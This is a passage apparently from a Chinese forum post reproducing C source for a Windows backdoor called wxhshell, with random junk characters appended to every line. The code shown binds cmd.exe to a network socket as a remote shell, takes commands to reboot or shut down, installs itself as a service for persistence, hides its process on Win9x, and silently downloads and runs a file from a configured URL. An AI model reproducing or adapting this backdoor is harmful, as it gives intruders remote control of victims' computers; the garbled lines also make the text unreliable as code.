  2,|@a\H  
  // 帮助 (Ze\<Y#cv  
  case '?': { h52+f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i7\>uni  
    break; s!Id55R]  
  } {c1wJ  
  // 安装 ~Wm'~y>  
  case 'i': { URh5ajoR%  
    if(Install()) f4X}F|!h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oqK: 5|  
    else |CS&H2!s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H 0Sm4  
    break; "tK3h3/Xv  
    } Frhm4H%,_R  
  // 卸载 {qry2ZT5  
  case 'r': { FFN.9[Ly  
    if(Uninstall()) lvk*Db$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k'[\r>T  
    else e [F33%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a  ?wg~|g  
    break; 6|Rj YX  
    } wz:w6q  
  // 显示 wxhshell 所在路径 lnxA/[`a  
  case 'p': { >\5ZgC  
    char svExeFile[MAX_PATH]; @[rlwwG,  
    strcpy(svExeFile,"\n\r"); )4+uM'2%  
      strcat(svExeFile,ExeFile); B)-P# ,}  
        send(wsh,svExeFile,strlen(svExeFile),0); Dt]FmU  
    break; *EtC4sP  
    } %N<>3c<8P  
  // 重启 61TL]S8  
  case 'b': { 0g@*N4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o{ | |Ig  
    if(Boot(REBOOT)) nm,Tng oj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^A;ec h7I  
    else { pq5bK0N Q  
    closesocket(wsh); E~Y%x/oX  
    ExitThread(0); Y9(BxDP_+Y  
    } VqB9^qJ]!  
    break; #+3I$ k  
    } 5YiBw|Z7 "  
  // 关机 }% ?WS  
  case 'd': { y|D-W>0cX3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OoAZ t  
    if(Boot(SHUTDOWN)) (WS<6j[q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /^Lo@672  
    else { y\[GS2nTX  
    closesocket(wsh);  M Xl!  
    ExitThread(0); &[}5yos r  
    } .rbKvd?-}  
    break; {S5D~A*a+  
    } >5]w\^QN9_  
  // 获取shell E{|n\|  
  case 's': { > qIZ  
    CmdShell(wsh); A}n5dg0u  
    closesocket(wsh); V-9z{  
    ExitThread(0); 2HvzMo-4  
    break; [$GQ]Y  
  } p$%g$K  
  // 退出 o)6udRzBv  
  case 'x': { d`Em) 3v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?"q S%EH  
    CloseIt(wsh); \A3yM{G~+  
    break; 4?&CK  
    } i(>v~T,(  
  // 离开 Sst`*PX:  
  case 'q': { O0<GFL$)&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &($Zs'X  
    closesocket(wsh); `<l|XPv  
    WSACleanup(); /-)|dP  
    exit(1); O/R>&8R$  
    break; -?<L"u  
        } 3#T_(  
  } ed)!Snz   
  } _A/ ]m4  
6ypqnOTr  
  // 提示信息 QCWk[Gx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?`O Dt]s  
} D+  **o  
  } &gR)bNIC_=  
>taZw '  
  return; %z0@4G q  
} W(tXq  
&hYjQ&n  
// shell模块句柄 $yb8..+  
int CmdShell(SOCKET sock) wbId}!  
{ YB}_zuZ4&  
STARTUPINFO si; 62LQUl]<  
ZeroMemory(&si,sizeof(si)); T {lJ[M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8Lpy`He  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2={ g'k(  
PROCESS_INFORMATION ProcessInfo; G1'w50Yu  
char cmdline[]="cmd"; 8)k.lPoo.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T;< >""T  
  return 0; '17u Wq  
} [ @/[#p  
.ODtduURe  
// 自身启动模式 K~WwV8c9;  
int StartFromService(void) n%<.,(.(S  
{ n{Mj<\kL  
typedef struct &,&oTd.  
{ &4DV]9+g  
  DWORD ExitStatus; u;:N 4d=f'  
  DWORD PebBaseAddress; 4p~:(U[q  
  DWORD AffinityMask; ZdH WSfO)O  
  DWORD BasePriority; :7!/FBd  
  ULONG UniqueProcessId; ix&hsNzD  
  ULONG InheritedFromUniqueProcessId; sEvJ!$Tt?I  
}   PROCESS_BASIC_INFORMATION; 5J&n<M0G1  
^j=_=Km]  
PROCNTQSIP NtQueryInformationProcess; ZcO!cR&*'J  
9AL\6 @<a*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +V8yv-/{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r%'2a+}D  
si nG $=  
  HANDLE             hProcess; `u-VGd\  
  PROCESS_BASIC_INFORMATION pbi; e:V,>RbC0s  
m9xu$z| e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y9)l,@D  
  if(NULL == hInst ) return 0; r$\g6m  
`?6m0|\@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G%kXr$?W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s/To|9D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;. :UfW  
.(1$Q6yG  
  if (!NtQueryInformationProcess) return 0; 3.d=1|E  
H[Pb Wy:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?n@PZL= ]  
  if(!hProcess) return 0; KuI>:i;  
" ^eq5?L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tc,7yo\".  
*BO4"3Z  
  CloseHandle(hProcess); Mm[%v t40  
{G{@bUG]p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &&<^wtznO  
if(hProcess==NULL) return 0; DU7Ki6  
$z,bA*j9  
HMODULE hMod; =k/n  
char procName[255]; <0LB]zDWe6  
unsigned long cbNeeded; 2.lnT{  
eO9nn9lql  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X)&Z{ V>  
<?J7Z|  
  CloseHandle(hProcess); 1)PR]s:-m@  
c,~44Z  
if(strstr(procName,"services")) return 1; // 以服务启动 z vYDE]  
' R@<4Ib|  
  return 0; // 注册表启动 =91'.c<  
} ;_SS3q  
4 ?c1c  
// 主模块 \rN_CBM  
int StartWxhshell(LPSTR lpCmdLine) JWn{nJ$]  
{ 7lj-Z~1  
  SOCKET wsl; dDuA%V0  
BOOL val=TRUE; f:Ja  
  int port=0; s+w<!`-  
  struct sockaddr_in door; S BoF (0<  
k2WO*xa*  
  if(wscfg.ws_autoins) Install(); i;xMf5Jz  
vp|=q;Q%r  
port=atoi(lpCmdLine); 7r<>^j'  
%i "  
if(port<=0) port=wscfg.ws_port; <EUSl|6  
} 2.}fHb2  
  WSADATA data; Zll^tF#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UKBMGzu2:  
%Uk/P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Jqj6L993e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $"(YE #]|  
  door.sin_family = AF_INET; H44&u](8{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D6oby*_w  
  door.sin_port = htons(port); Om"3Q/&  
&aQ)x   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c+{4C3z  
closesocket(wsl); DQICD.X6R  
return 1; zLqp@\sT  
} .%<&W1  
y m{/0&7  
  if(listen(wsl,2) == INVALID_SOCKET) { XOwMT,=Z)  
closesocket(wsl); T6r~OV5  
return 1; bx^EaXj(r  
} gWo~o]f  
  Wxhshell(wsl); W>bW1h  
  WSACleanup(); b . j^US^  
S: uEK  
return 0; -c?wEqa~2  
9tEKA|8  
} z\Y^x 9  
}x1IFTa!  
// 以NT服务方式启动 q$rA-`jw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ({VBp[Mh  
{ !q\w"p0X  
DWORD   status = 0; ,b(S=r  
  DWORD   specificError = 0xfffffff; PcHFj+:  
I{I [N &N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y;Ln ao7i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \=V[ba:q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .6F3;bg R7  
  serviceStatus.dwWin32ExitCode     = 0; uW9M&"C~  
  serviceStatus.dwServiceSpecificExitCode = 0; 15 11<,  
  serviceStatus.dwCheckPoint       = 0; da'E"HN@G~  
  serviceStatus.dwWaitHint       = 0; AJd.K'=8  
2rtP.*dd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N>Y50  
  if (hServiceStatusHandle==0) return; l1Q+hz5"*U  
PB67 ?d~  
status = GetLastError(); o'C.,ic?C  
  if (status!=NO_ERROR) ,HkhKbQ  
{ e=UVsYNx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]U1,NhZu  
    serviceStatus.dwCheckPoint       = 0; W.D3$  
    serviceStatus.dwWaitHint       = 0; Q9xx/tUW  
    serviceStatus.dwWin32ExitCode     = status; @dCPa7:>&  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]N"F?3J 8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^MHn2Cv/~  
    return; sVdK^|j  
  } ^r_lj$:+$  
tZ j,A%<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {3(.c, q@  
  serviceStatus.dwCheckPoint       = 0; Q_0x6]/!  
  serviceStatus.dwWaitHint       = 0; G0 /vn9&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b\;u9C2y'  
} `s> =Sn&UP  
G+ X [R^RD  
// 处理NT服务事件,比如:启动、停止 Rw\C0'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TWR $D  
{ _d| 62VS  
switch(fdwControl) CCh8?sM  
{ H'GYJ ?U"  
case SERVICE_CONTROL_STOP: m_"p$m;  
  serviceStatus.dwWin32ExitCode = 0; %;\G@q_p{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DGZY~(]  
  serviceStatus.dwCheckPoint   = 0; ivX37,B\bS  
  serviceStatus.dwWaitHint     = 0; {ogZT7w}  
  { qm}>J^hnB#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %FyygTb;S  
  } \}x'>6zr2  
  return; yb4tJu$  
case SERVICE_CONTROL_PAUSE: 3[=`uO0\7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CSL{Q  
  break; Lkl|4L   
case SERVICE_CONTROL_CONTINUE: L=HVdeE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >U~|R=*  
  break; WTD49_px  
case SERVICE_CONTROL_INTERROGATE: q|u8CX  
  break; G4`Ut1g ^  
}; HD:%Yv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E!I  
} 5M Wvu,'%8  
R@<_Hb;Aeb  
// 标准应用程序主函数 Ybt_?Q9#]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j|&DP-@g/  
{ PyMVTP4  
m@Ip^]9ry  
// 获取操作系统版本 t{X?PF\>o  
OsIsNt=GetOsVer(); :G`L3E&1s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /:y2Up-  
l7'{OB L  
  // 从命令行安装 [{@zb-h  
  if(strpbrk(lpCmdLine,"iI")) Install(); e$Bf[F#;-  
J`r,_)J"2  
  // 下载执行文件 9si}WqAw  
if(wscfg.ws_downexe) { =a9etF%B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8jjFC9Cbn0  
  WinExec(wscfg.ws_filenam,SW_HIDE); kG$E tE#  
} %'"HGZn b  
om}/f`  
if(!OsIsNt) { ;v1NL@w*  
// 如果时win9x,隐藏进程并且设置为注册表启动 MyH[vE^b  
HideProc(); 5pM&h~M  
StartWxhshell(lpCmdLine); xJ~ gT  
} Har~MO?A  
else I7fb}j`/  
  if(StartFromService()) _~;&)cn,0  
  // 以服务方式启动 %AG1oWWc>.  
  StartServiceCtrlDispatcher(DispatchTable); ym|NT0_0  
else j0iAU1~_VX  
  // 普通方式启动 tlV &eN  
  StartWxhshell(lpCmdLine); =`Po<7D  
bo@,4xw  
return 0; )N" Ew0U  
}
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只看该作者 1 发表于: 2006-10-10
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